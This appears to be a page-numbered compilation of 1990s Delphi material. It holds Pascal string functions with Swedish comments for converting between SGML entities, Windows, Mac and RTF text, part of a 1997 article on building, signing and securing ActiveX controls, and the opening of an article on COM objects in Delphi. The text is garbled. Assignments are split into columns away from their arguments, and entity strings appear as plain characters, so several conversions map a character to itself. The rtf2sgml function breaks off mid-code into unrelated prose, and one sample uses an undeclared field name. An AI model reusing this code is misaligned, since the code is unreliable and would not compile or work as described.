delete (text,plats,length(byt)); insert (mot,text,plats); end; result := text; end; function StringReplace (text,byt,mot : string ) :string; {Funktion för att byta ut den första förekomsten av en sträng mot en annan sträng in en sträng. Den konverterade strängen returneras.} var plats : integer; begin if pos(byt,text) > 0 then begin plats := pos(byt,text); delete (text,plats,length(byt)); insert (mot,text,plats); end; result := text; end; function hamtastreng (text,strt,slut : string):string; {Funktion för att hämta ut en delsträng ur en annan sträng. Om start och slut finns i text så returneras en sträng där start ingår i början och fram till tecknet före slut.} var stplats,slutplats : integer; resultat : string; begin resultat :=''; stplats := pos(strt,text); if stplats >0 then begin text := copy (text,stplats,length(text)); slutplats := pos(slut,text); if slutplats >0 then begin resultat := copy(text,1,slutplats-1); end; end; result := resultat; end; function hamtastrengmellan (text,strt,slut : string):string; {Funktion för att hämta ut en delsträng ur en annan sträng. Om start och slut finns i text så returneras en sträng där start ingår i början och fram till tecknet före slut.} var stplats,slutplats : integer; resultat : string; begin resultat :=''; stplats := pos(strt,text); if stplats >0 then begin text := copy (text,stplats+length(strt),length(text)); slutplats := pos(slut,text); if slutplats >0 then begin resultat := copy(text,1,slutplats-1); end; end; result := resultat; end; function endsWith (text,teststreng : string):boolean;
960
{Kollar om en sträng slutar med en annan sträng. Returnerar true eller false.} var textlngd,testlngd : integer; kollstreng : string; begin testlngd := length(teststreng); textlngd := length (text); if textlngd > testlngd then begin kollstreng := copy (text,(textlngd+1)-testlngd,testlngd); if kollstreng = teststreng then result := true else result := false; end else result := false; end; function beginsWith (text,teststreng : string):boolean; {Funktion för att kolla om text börjar med teststreng. Returnerar true eller false.} var textlngd,testlngd : integer; kollstreng : string; begin testlngd := length(teststreng); textlngd := length (text); if textlngd >= testlngd then begin kollstreng := copy (text,1,testlngd); if kollstreng = teststreng then result := true else result := false; end else result := false; end; function sistamening(text : string) : string; //Funktion för att ta fram sista meningen i en sträng. Söker på !?. var i:integer; begin i :=length(text)-1; while (copy(text,i,1)<> '.') and (copy(text,i,1)<> '!') and (copy(text,i,1)<> '?') do begin dec(i); if i =1 then break end; if i>1 then result := copy(text,i,length(text)) else result := ''; end; Function text2sgml(text : String) : String; {Funktion som byter ut alla ovanliga tecken mot entiteter. Den färdiga texten returneras.} begin text := stringreplaceall (text,'&','##amp;'); text := stringreplaceall (text,'##amp','&');
961
text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall result := text; End;
(text,'å','å'); (text,'Å','Å'); (text,'ä','ä'); (text,'Ä','Ä'); (text,'á','á'); (text,'Á','Á'); (text,'à','à'); (text,'À','À'); (text,'æ','æ'); (text,'Æ','&Aelig;'); (text,'Â','Â'); (text,'â','â'); (text,'ã','ã'); (text,'Ã','Ã'); (text,'ç','ç'); (text,'Ç','Ç'); (text,'é','é'); (text,'É','É'); (text,'ê','ê'); (text,'Ê','Ê'); (text,'ë','ë'); (text,'Ë','Ë'); (text,'è','è'); (text,'È','È'); (text,'î','î'); (text,'Î','Î'); (text,'í','í'); (text,'Í','Í'); (text,'ì','ì'); (text,'Ì','Ì'); (text,'ï','ï'); (text,'Ï','Ï'); (text,'ñ','ñ'); (text,'Ñ','Ñ'); (text,'ö','ö'); (text,'Ö','Ö'); (text,'ò','ò'); (text,'Ò','Ò'); (text,'ó','ó'); (text,'Ó','Ó'); (text,'ø','ø'); (text,'Ø','Ø'); (text,'Ô','Ô'); (text,'ô','ô'); (text,'õ','õ'); (text,'Õ','Õ'); (text,'ü','ü'); (text,'Ü','Ü'); (text,'ú','ú'); (text,'Ú','Ú'); (text,'Ù','Ù'); (text,'ù','ù'); (text,'û','û'); (text,'Û','Û'); (text,'ý','ý'); (text,'Ý','Ý'); (text,'ÿ','ÿ'); (text,'|',' ');
Function sgml2win(text : String) : String; {Funktion som ersätter alla entiteter mot deras tecken i windows. Den färdiga strängen returneras.} begin text := stringreplaceall (text,'á','á');
962
text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall result := text; End;
(text,'Á','Á'); (text,'æ','æ'); (text,'&Aelig;','Æ'); (text,'à','à'); (text,'À','À'); (text,'å','å'); (text,'Å','Å'); (text,'ä','ä'); (text,'Ä','Ä'); (text,'Â' ,'Â'); (text,'â' ,'â'); (text,'ã','ã'); (text,'Ã','Ã'); (text,'ç','ç'); (text,'Ç','Ç'); (text,'é','é'); (text,'É','É'); (text,'è','è'); (text,'È','È'); (text,'ê' ,'ê'); (text,'Ê' ,'Ê'); (text,'ë' ,'ë'); (text,'Ë' ,'Ë'); (text,'î' ,'î'); (text,'Î' ,'Î'); (text,'í','í'); (text,'Í','Í'); (text,'ì','ì'); (text,'Ì','Ì'); (text,'ï' ,'ï'); (text,'Ï' ,'Ï'); (text,'ñ','ñ'); (text,'Ñ','Ñ'); (text,'ò','ò'); (text,'Ò','Ò'); (text,'ó','ó'); (text,'Ó','Ó'); (text,'ö','ö'); (text,'Ö','Ö'); (text,'ø','ø'); (text,'Ø','Ø'); (text,'Ô' ,'Ô'); (text,'ô' ,'ô'); (text,'õ','õ'); (text,'Õ','Õ'); (text,'ü','ü'); (text,'Ü','Ü'); (text,'ú','ú'); (text,'Ú','Ú'); (text,'û' ,'û'); (text,'Û' ,'Û'); (text,'Ù','Ù'); (text,'ù','ù'); (text,'ý',' ý'); (text,'Ý',' Ý'); (text,'ÿ' ,'ÿ'); (text,' ','|'); (text,'&','&');
Function sgml2mac(text : String) : String; {Funktion som ersätter alla entiteter mot deras tecken i mac. Den färdiga strängen returneras.} begin text := stringreplaceall (text,'á',chr(135));
963
text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall text := stringreplaceall result := text; End;
(text,'Á',chr(231)); (text,'æ',chr(190)); (text,'&Aelig;',chr(174)); (text,'à',chr(136)); (text,'À',chr(203)); (text,'å',chr(140)); (text,'Å',chr(129)); (text,'Ä',chr(128)); (text,'ä',chr(138)); (text,'Â' ,chr(229)); (text,'â' ,chr(137)); (text,'ã',chr(139)); (text,'Ã',chr(204)); (text,'ç',chr(141)); (text,'Ç',chr(130)); (text,'é',chr(142)); (text,'É',chr(131)); (text,'è',chr(143)); (text,'È',chr(233)); (text,'ê' ,chr(144)); (text,'Ê' ,chr(230)); (text,'ë' ,chr(145)); (text,'Ë' ,chr(232)); (text,'î' ,chr(148)); (text,'Î' ,chr(235)); (text,'í' ,chr(146)); (text,'Í' ,chr(234)); (text,'ì' ,chr(147)); (text,'Ì' ,chr(237)); (text,'ï' ,chr(149)); (text,'Ï' ,chr(236)); (text,'ñ',chr(150)); (text,'Ñ',chr(132)); (text,'ò',chr(152)); (text,'Ò',chr(241)); (text,'ó',chr(151)); (text,'Ó',chr(238)); (text,'Ô' ,chr(239)); (text,'ô' ,chr(153)); (text,'ø',chr(191)); (text,'Ø',chr(175)); (text,'õ',chr(155)); (text,'Õ',chr(239)); (text,'ö',chr(154)); (text,'Ö',chr(133)); (text,'ü',chr(159)); (text,'Ü',chr(134)); (text,'ú',chr(156)); (text,'Ú',chr(242)); (text,'û' ,chr(158)); (text,'Û' ,chr(243)); (text,'Ù',chr(244)); (text,'ù',chr(157)); (text,'ý','y'); (text,'ÿ' ,chr(216)); (text,'Ÿ' ,chr(217)); (text,' ',' '); (text,'&',chr(38));
Function sgml2rtf(text : string) : String; {Funktion för att byta ut sgml-entiteter mot de koder som gäller i RTF-textrutorna.} begin
964
text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text
:= := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := := :=
stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall stringreplaceall
(text,'}','#]#'); (text,'{','#[#'); (text,'\','HSALSKCAB'); (text,'HSALSKCAB','\\'); (text,'æ','\'+chr(39)+'c6'); (text,'&Aelig;','\'+chr(39)+'e6'); (text,'á','\'+chr(39)+'e1'); (text,'Á','\'+chr(39)+'c1'); (text,'à','\'+chr(39)+'e0'); (text,'À','\'+chr(39)+'c0'); (text,'å','\'+chr(39)+'e5'); (text,'Å','\'+chr(39)+'c5'); (text,'Â','\'+chr(39)+'c2'); (text,'â','\'+chr(39)+'e2'); (text,'ã','\'+chr(39)+'e3'); (text,'Ã','\'+chr(39)+'c3'); (text,'ä','\'+chr(39)+'e4'); (text,'Ä','\'+chr(39)+'c4'); (text,'ç','\'+chr(39)+'e7'); (text,'Ç','\'+chr(39)+'c7'); (text,'é','\'+chr(39)+'e9'); (text,'É','\'+chr(39)+'c9'); (text,'è','\'+chr(39)+'e8'); (text,'È','\'+chr(39)+'c8'); (text,'ê','\'+chr(39)+'ea'); (text,'Ê','\'+chr(39)+'ca'); (text,'ë','\'+chr(39)+'eb'); (text,'Ë','\'+chr(39)+'cb'); (text,'î','\'+chr(39)+'ee'); (text,'Î','\'+chr(39)+'ce'); (text,'í','\'+chr(39)+'ed'); (text,'Í','\'+chr(39)+'cd'); (text,'ì','\'+chr(39)+'ec'); (text,'Ì','\'+chr(39)+'cc'); (text,'ï' ,'\'+chr(39)+'ef'); (text,'Ï' ,'\'+chr(39)+'cf'); (text,'ñ','\'+chr(39)+'f1'); (text,'Ñ','\'+chr(39)+'d1'); (text,'ö','\'+chr(39)+'f6'); (text,'Ö','\'+chr(39)+'d6'); (text,'ó','\'+chr(39)+'f3'); (text,'Ó','\'+chr(39)+'d3'); (text,'ò','\'+chr(39)+'f2'); (text,'Ò','\'+chr(39)+'d2'); (text,'ø','\'+chr(39)+'f8'); (text,'Ø','\'+chr(39)+'d8'); (text,'Ô','\'+chr(39)+'d4'); (text,'ô','\'+chr(39)+'f4'); (text,'õ','\'+chr(39)+'f5'); (text,'Õ','\'+chr(39)+'d5'); (text,'ú','\'+chr(39)+'fa'); (text,'Ú','\'+chr(39)+'da'); (text,'û','\'+chr(39)+'fb'); (text,'Û','\'+chr(39)+'db'); (text,'Ù','\'+chr(39)+'d9'); (text,'ù','\'+chr(39)+'f9'); (text,'ü','\'+chr(39)+'fc'); (text,'Ü','\'+chr(39)+'dc'); (text,'ý','\'+chr(39)+'fd'); (text,'Ý','\'+chr(39)+'dd'); (text,'ÿ','\'+chr(39)+'ff'); (text,'£','\'+chr(39)+'a3'); (text,'#]#','\}'); (text,'#[#','\{'); (text,' ','|'); (text,'&','&');
965
result := text; End; function rtf2sgml (text : string) : string; {Funktion för att konvertera en RTF-rad till SGML-text.} var temptext : string; start : integer; begin text := stringreplaceall (text,'&','##amp;'); text := stringreplaceall (text,'##amp','&'); text := stringreplaceall (text,'\'+chr(39)+'c6','æ'); text := stringreplaceall (text,'\'+chr(39)+'e6','&Aelig;'); text := stringreplaceall (text,'\'+chr(39)+'e5','å'); text := stringreplaceall (text,'\'+chr(39)+'c5','Å'); text := stringreplaceall (text,'\'+chr(39)+'e4','ä'); text := stringreplaceall (text,'\'+chr(39)+'c4','Ä'); text := stringreplaceall (text,'\'+chr(39)+'e1','á'); text := stringreplaceall (text,'\'+chr(39)+'c1','Á'); text := stringreplaceall (text,'\'+chr(39)+'e0','à'); text := stringreplaceall (text,'\'+chr(39)+'c0','À'); text := stringreplaceall (text,'\'+chr(39)+'c2','Â'); text := stringreplaceall (text,'\'+chr(39)+'e2','â'); text := stringreplaceall (text,'\'+chr(39)+'e3','ã'); text := stringreplaceall (text,'\'+chr(39)+'c3','Ã'); text := stringreplaceall (text,'\'+chr(39)+'e7','ç'); text := stringreplaceall (text,'\'+chr(39)+'c7','Ç'); text := stringreplaceall (text,'\'+chr(39)+'e9','é'); text := stringreplaceall (text,'\'+chr(39)+'c9','É'); text := stringreplaceall (text,'\'+chr(39)+'e8','è'); text := stringreplaceall (text,'\'+chr(39)+'c8','È'); text := stringreplaceall (text,'\'+chr(39)+'ea','ê'); text := stringreplaceall (text,'\'+chr(39)+'ca','Ê'); text := stringreplaceall (text,'\'+chr(39)+'eb','ë'); text := stringreplaceall (text,'\'+chr(39)+'cb','Ë'); text := stringreplaceall (text,'\'+chr(39)+'ee','î'); text := stringreplaceall (text,'\'+chr(39)+'ce','Î'); text := stringreplaceall (text,'\'+chr(39)+'ed','í'); text := stringreplaceall (text,'\'+chr(39)+'cd','Í'); text := stringreplaceall (text,'\'+chr(39)+'ec','ì'); text := stringreplaceall (text,'\'+chr(39)+'cc','Ì'); text := stringreplaceall (text,'\'+chr(39)+'ef','ï'); text := stringreplaceall (text,'\'+chr(39)+'cf','Ï'); text := stringreplaceall (text,'\'+chr(39)+'f1','ñ'); text := stringreplaceall (text,'\'+chr(39)+'d1','Ñ'); text := stringreplaceall (text,'\'+chr(39)+'f3','ó'); text := stringreplaceall (text,'\'+chr(39)+'d3','Ó'); text := stringreplaceall (text,'\'+chr(39)+'f2','ò'); text := stringreplaceall (text,'\'+chr(39)+'d2','Ò'); text := stringreplaceall (text,'\'+chr(39)+'d4','Ô'); text := stringreplaceall (text,'\'+chr(39)+'f4','ô'); text := stringreplaceall (text,'\'+chr(39)+'f5','õ'); text := stringreplaceall (text,'\'+chr(39)+'d5','Õ'); text := stringreplaceall (text,'\'+chr(39)+'f8','ø'); text := stringreplaceall (text,'\'+chr(39)+'d8','Ø'); text := stringreplaceall (text,'\'+chr(39)+'f6','ö'); text := stringreplaceall (text,'\'+chr(39)+'d6','Ö'); text := stringreplaceall (text,'\'+chr(39)+'fc','ü'); text := stringreplaceall (text,'\'+chr(39)+'dc','Ü'); text := stringreplaceall (text,'\'+chr(39)+'fa','ú'); text := stringreplaceall (text,'\'+chr(39)+'da','Ú'); text := stringreplaceall (text,'\'+chr(39)+'fb','û'); text := stringreplaceall (text,'\'+chr(39)+'db','Û'); text := stringreplaceall (text,'\'+chr(39)+'d9','Ù'); text := stringreplaceall (text,'\'+chr(39)+'f9','ù'); text := stringreplaceall (text,'\'+chr(39)+'fd','ý');
966
text := stringreplaceall (text,'\'+chr(39)+'dd','Ý'); text := stringreplaceall (text,'\'+chr(39)+'ff','ÿ'); text := stringreplaceall (text,'|',' '); text := stringreplaceall (text,'\'+chr(39)+'a3','£'); text := stringreplaceall (text,'\}','#]#'); text := stringreplaceall (text,'\{','#[#'); if (beginswith (text, '{\rtf1\')) or (beginswith (text, '{\colortbl\')) then begin result := ''; exit; end; //text := stringreplaceall (text,'{\fonttbl',''); {Skall alltid tas bort} //temptext := hamtastreng (text,'{\rtf1','{\f0');{Skall alltid tas bort} //text := stringreplace (text,temptext,''); //temptext := hamtastreng (text,'{\f0','{\f1');{Skall alltid tas bort} //text := stringreplace (text,temptext,''); //temptext := hamtastreng (text,'{\f1','{\f2');{Skall alltid tas bort} //text := stringreplace (text,temptext,''); //text := stringreplaceall (text,'{\f2\fswiss\fprq2 System;}}','');{Skall alltid tas bort} //text := stringreplaceall (text,'{\colortbl\red0\green0\blue0;}','');{Skall alltid tas bort} {I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog därför bort det efter \fs16 och la istället en egen tvätt av \cf0.} //temptext := hamtastreng (text,'{\rtf1','\deflang'); //text := stringreplace (text,temptext,''); {Hämta och radera allt från start till deflang} text := stringreplaceall (text,'\cf0',''); temptext := hamtastreng (text,'\deflang','\pard');{Plocka från deflang till pard för att få } text := stringreplace (text,temptext,'');{oavsett vilken lang det är. Norska o svenska är olika} text := stringreplaceall (text,'\ltrpar',''); text := stringreplaceall (text,'\ql',''); text := stringreplaceall (text,'\ltrch',''); {Här skall vi plocka bort fs och flera olika siffror beroende på vilka alternativ vi godkänner.} //text := stringreplaceall (text,'\fs16','');{8 punkter} //text := stringreplaceall (text,'\fs20','');{10 punkter} {Nu städar vi istället bort alla tvåsiffriga fontsize.} while pos ('\fs',text) >0 do begin //application.processmessages; start := pos ('\fs',text); Delete(text,start,5); end; while pos ('\f',text) >0 do begin //application.processmessages; start := pos ('\f',text); Delete(text,start,3); end; text := stringreplaceall (text,'\pard\li200200{\*\pn\pnlvlblt\pnf1\pnindent200{\pntxtb\'+chr(39)+'b7}}\plain ','
'); text := stringreplaceall (text,'\par \plain\b\ul ','
\tab ',text)>0) then begin text := stringreplaceall (text,'\par \tab ','
\tab ','
'); text := stringreplaceall (text,'#]#','}'); text := stringreplaceall (text,'#[#','{'); text := stringreplaceall (text,'\\','\'); if pos('
You should see your Delphi forms or controls embedded in the form below.
You should see your Delphi 4 forms or controls embedded in the form below.
It the server is a remote Web server that you don't have file-system access to, you will need to tell Delphi to put the files in a local directory. Then, you can use your usual webpage deployment method (for example, FTP or FrontPage) to deploy the code to your server.
1373
Code Signing Signing your ActiveX control accomplishes two things. First, it identifies you or your organization as the author of the code. Second, it gives the recipient of the code the ability to verify that what they received is what you made and it hasn't been tampered with. The key element in code signing is your certificate, which is a code key assigned to you by a company called a certificate authority. The certificate file appears in the form of a .SPC (Software Publisher's Certificate) file, delivered to you by the certificate authority. You also need a private key file (.PVK), which you created as part of your application to the CA for the SPC file. Microsoft also provides you with a means of creating untrusted keys for testing purposes. See Microsoft's web site, http://www.microsoft.com/workshop/prog/security/authcode/codesign.htm for the paper, "Signing Code with Microsoft's Authenticode". The process is also described in the Microsoft INET SDK, which is where you will find the tools required for manufacturing the untrusted test keys. Delphi 3 provides a project options page where you can specify your code signature information, including the file that contains the credientials and the file that contains the private key. In the Project|Web Deployment Options dialog, in the Project page, check the Code Sign Project checkbox. Then, turn to the Code Signing page and fill in the credentials file and private key file fields. The application name and optional company URL fields will appear in the certificate dialog when the app is downloaded and verified. You should enter your company's information here.
Web Security Security is an extremely important when you're building an ActiveX for web deployment. While ActiveX controls can be very powerful and convenient, they can also become your worst nightmare. As a builder of ActiveX controls, here are some things you should consider: · Be ethical. Don't build ActiveX controls that are harmful. · Build your control to be tamper-resistant. · Keep close watch on your software certificate. Establish notary procedures for its use. Keep records about what controls you've signed and who signed it, and who had access to the signature key. · Don't give your control privileges over your network. Don't include default passwords, etc. · Set up your server so it knows who downloads the controls and when and where. When deploying ActiveX controls in an Intranet, here's some advice: · Code signatures do not necessarily mean full security. Even signed, legitimate ActiveX controls have security flaws that can be taken advantage of. · Don't accept HTML pages containing an ActiveX control from anyone you don't trust as well as your least trustworthy staff. If you have a business partner that only publishes its data through an ActiveX, allow only that ActiveX to run, and only in the context of the page they published. · Caveat surfer
Data-aware controls VB4 provides an open specification for "simple data bound controls." Such controls are typically controls that show a single value, like an edit field or a check box. Unlike the VB complex data binding spec, this standard has been adopted by a number of vendor, with
1374
the notable exception of Delphi itself. Despite the fact that Delphi doesn't host data-bound ActiveX controls, it can be used to produce them without too much trouble. It doesn't take much to make a control data-aware, once you have a working ActiveX control. A simple data-aware ActiveX control has a special property that represents its "value". The property might be called Value, Text, Temperature, or whatever. This property is marked in the type library with several flags that indicate that it can be bound to. You can use the type library editor to set the flags in the control that indicate how the property is to be bound. Figure 3 shows how this can be done, by checking the Bindable, Request Edit, Display Bindable and Default Bindable flags of the property's Attributes pane.
The options tell the container that it can bind a data source value to this property. If the container chooses to bind a data source to the bindable property, the two always keep their values synchronized: when the data source changes value, the value property, and when the value property changes the data source changes value. Figure 4. Type library editor, showing the Caption property defined as the default bound property. The value property must also ask its container for permission to change the value property, before the property is actually changed. The container can refuse the modification if desired. You can implement this relationship easily by taking advantage of the OnChanging and OnChanged events of your VCL control. class TButtonXControl = ...; ... private FPropNotifySink: IPropNotifySink; end; procedure TButtonXControl.InitializeControl; begin FConnectionPoints.CreateConnectionPoint(IPropNotifySink, PropNotifySinkConnect); FDelphiControl.OnChanged := OnChangedEvent; FDelphiControl.OnChanging := OnChangingEvent; end; procedure TButtonXControl.PropNotifySinkConnect(const Sink: IUnknown);
1375
begin if Sink <> nil then OleCheck(Sink.QueryInterface(IPropNotifySink, FPropNotifySink)) else FPropNotifySink := nil; end; procedure TButtonXControl.Set_Caption(const Value: WideString); begin FDelphiControl.Caption := TCaption(Value); end; procedure TButtonXControl.OnChangingEvent( Sender: TObject ); begin if FPropNotifySink <> nil then if FPropertyNotifySink.RequestEdit( DISPID_CAPTION ) = S_FALSE then OleError( CTL_E_SETNOTPERMITTED ); end; procedure TButtonX.OnChangedEvent( Sender:TObject ); begin if FPropNotifySink <> nil then FPropNotifySink.OnChanged( DISPID_CAPTION ); end;
Conclusion Delphi 3 provides you with an easy way to get started building ActiveX controls, bu combining a basic class framework called DAX with the VCL and a set of code-generation wizards. In this class, I've explained how to convert a VCL control into an ActiveX control, and then how to add some of the more important ActiveX features to the control. I've also explained how the Delphi ActiveX framework is built, and shown how you can extend it. This is an important skill, because ActiveX is an extremely fluid specification.
Further Reading Microsoft's OLE web site is at http://www.microsoft.com/oledev. There's lots of really good stuff there.
Books Designing and Using OLE Custom Controls, Tom Armstrong, M&T Press. Tom maintains a web site at http://www.widgetware.com, including a comprehensive FAQ. OLE Controls Inside Out, Adam Denning, Microsoft Press Inside OLE, Kraig Brockschmidt, Microsoft Press More book listings can be found at http://www.microsoft.com/oledev/books.htm
White papers The Java Beans Specification, at http://splash.javasoft.com/beans/spec.html This paper is a better explanation of component models than Microsoft's. What OLE is Really About, by Kraig Brockschmidt, at http://www.microsoft.com/oledev/olecom/aboutole.htm. Best quote: "OLE is very much like the Coke bottle…" Vijay Mukhi's site: http://www.neca.com/~vmis/ Vijay writes irreverently about various technologies, including ActiveX. Best quote: "Microsoft has won the battle for the Internet".
Documentation OLE Controls specification, versions 1.0, 1.1 and 2.0, from Microsoft. OC96 - additions to the OLE controls specification, from Microsoft.
1376
ActiveX SDK Docs on ActiveX Controls: http://www.microsoft.com/msdn/sdk/platforms/doc/activex/src/olectrl.htm Authenticode: see Microsoft's web site at http://www.microsoft.com/security/tech/misf8_2.htm ActiveDesigner: see http://www.microsoft.com/intdev/sdk/dtctrl
Class hierarchies Class hierarchies can be useful reference material when you can't find why something doesn't work. Look for cryptic comments like 'some containers do this, so we have to bend over backwards here' to discover where a Microsoft developer has been there before you. MFC - with Borland C++ 5.01 or Microsoft Visual C++ 4.2a. ActiveX SDK - the BaseCtl framework. See http://www.microsoft.com/intdev/sdk/sdk.htm ATL 2.x - with Microsoft Visual C++ 5.0 OLE Control Developer's Kit - from Microsoft, in the ActiveX SDK. (C) Copyright 1997 by Conrad Herrmann. You may copy, modify, distribute or use for any purpose all ObjectPascal source code published in this article. All other rights reserved.
1377
COM Objects in Delphi, Part 1 What it takes to overcome Delphi's lack of multiple inheritance Neil J. Rubenking The PC software development community is segregated by platform and programming language. I program with Delphi for Windows, you program in assembly language for DOS, and she programs in C++ for OS/2. Expertise developed on one platform doesn't necessarily apply to another, and skill in one programming language may actually hinder learning another. And interprocess communication, which has the potential to break down these barriers, is made difficult by differing internal representations of data. But there is one way to bridge the gap--with a language-independent, cross-platform standard for communication between objects: Microsoft's Component Object Model (COM). And COM is here now; it's the essential technology underlying OLE and ActiveX. Unfortunately, the current literature's COM programming examples don't demonstrate much language-independence. All but a very few use C++. Some examples are straight C++ code and take advantage of the language's multiple inheritance. Others are built on MFC and rely so heavily on COM-specific macros that the result isn't even recognizable as C code. The bottom line: If C++ isn't your development language, you're at a disadvantage when it comes to learning COM programming. In this column and a follow-up, we'll discuss the implementation of COM objects using Borland's Delphi development environment. This first part explains the problems involved in a Delphi COM implementation and demonstrates some solutions. The next article will show five specific COM objects--implementations of five standard Windows 95 shell extension types. Under some circumstances, COM objects can reside in .EXE files. But for the sake of simplicity, this article will deal with only the more commonly used COM objects that reside in DLLs.
COM object essentials What's inside a COM object? That's none of your business! A COM object shares information with the world only through defined interfaces. Each interface provides one or more functions that another object or a program can call. Every COM object must support the IUnknown interface and its three functions, AddRef, Release, and QueryInterface. AddRef and Release handle the mundane task of managing the object's life span. Each call to AddRef increments the object's reference count, and each call to Release decrements the reference count. The object is destroyed when the reference count goes to 0. The utterly essential function of the IUnknown interface is QueryInterface. Once a program or another object gets access to the always present IUnknown interface, it can call QueryInterface to access all other interfaces supported by the object. IUnknown is the root of all COM interfaces. Every other COM interface is effectively a descendant of IUnknown and thus must also provide implementations of the three IUnknown functions. The concept of object in COM terminology isn't quite the same thing as the concept as it relates to Delphi or C++. A COM interface, however, is similar to a Delphi or C++ object that has no public data members and only virtual methods. The interface's list of functions corresponds directly to an Object Pascal or C++ object's virtual method table. In fact, you can create a COM interface in either language simply by declaring an object with the correct list of virtual methods. The method declarations must match the function definitions for the desired interface, naturally, but they must also appear in the correct position in the virtual method table. That means the methods must be declared in the defined order and no other virtual methods can precede them.
1378
The OLE2.PAS file that comes with Delphi 2.0 defines an IUnknown interface object type and dozens of IUnknown descendants, such as IClassFactory, IMarshal, and IMalloc. Each of the supplied objects' interface function methods is declared as virtual, stdcall, or abstract. The virtual keyword is required, as noted above. The stdcall keyword instructs the compiler to use the standard calling convention for the method. The abstract keyword indicates that the method is not implemented in the object itself but must be implemented in any descendant for which an instance is created. More than 50 direct descendants of IUnknown are defined in OLE2.PAS, and each one supports both the interface for which it is named and IUnknown. A problem arises when a COM object needs to support two or more interfaces other than IUnknown. The C++ implementation simply defines the COM object as multiply inheriting from the objects representing the interfaces it needs to support. An object in Delphi doesn't support multiple inheritance, so a different approach is required. (C++ programmers may be interested to note that an MFC-based COM object uses the same approach as described below for Delphi, a fact obscured by the complex set of macros used to define a COM object with MFC.)
Satellites and Containers The key to creating COM objects with multiple interfaces with Delphi involves treating the COM object as a container for its interfaces. A COM object does not have to be every interface object that it supports. It simply must supply the interface on demand, when the QueryInterface function of its IUnknown interface is called. The Delphi-based COM object handles the three IUnknown functions directly and returns a pointer to itself when the IUnknown interface is requested via QueryInterface. It acts as a container and manager of other objects that implement other interfaces. The satellite interface objects "reflect" the three IUnknown functions to their container. When a request arrives for one of the satellite interfaces (as usual, via QueryInterface) the container returns a pointer to the satellite object. Figure 1 shows the Delphi implementation of the satellite and container types of interface objects, along with a corresponding IClassFactory interface.
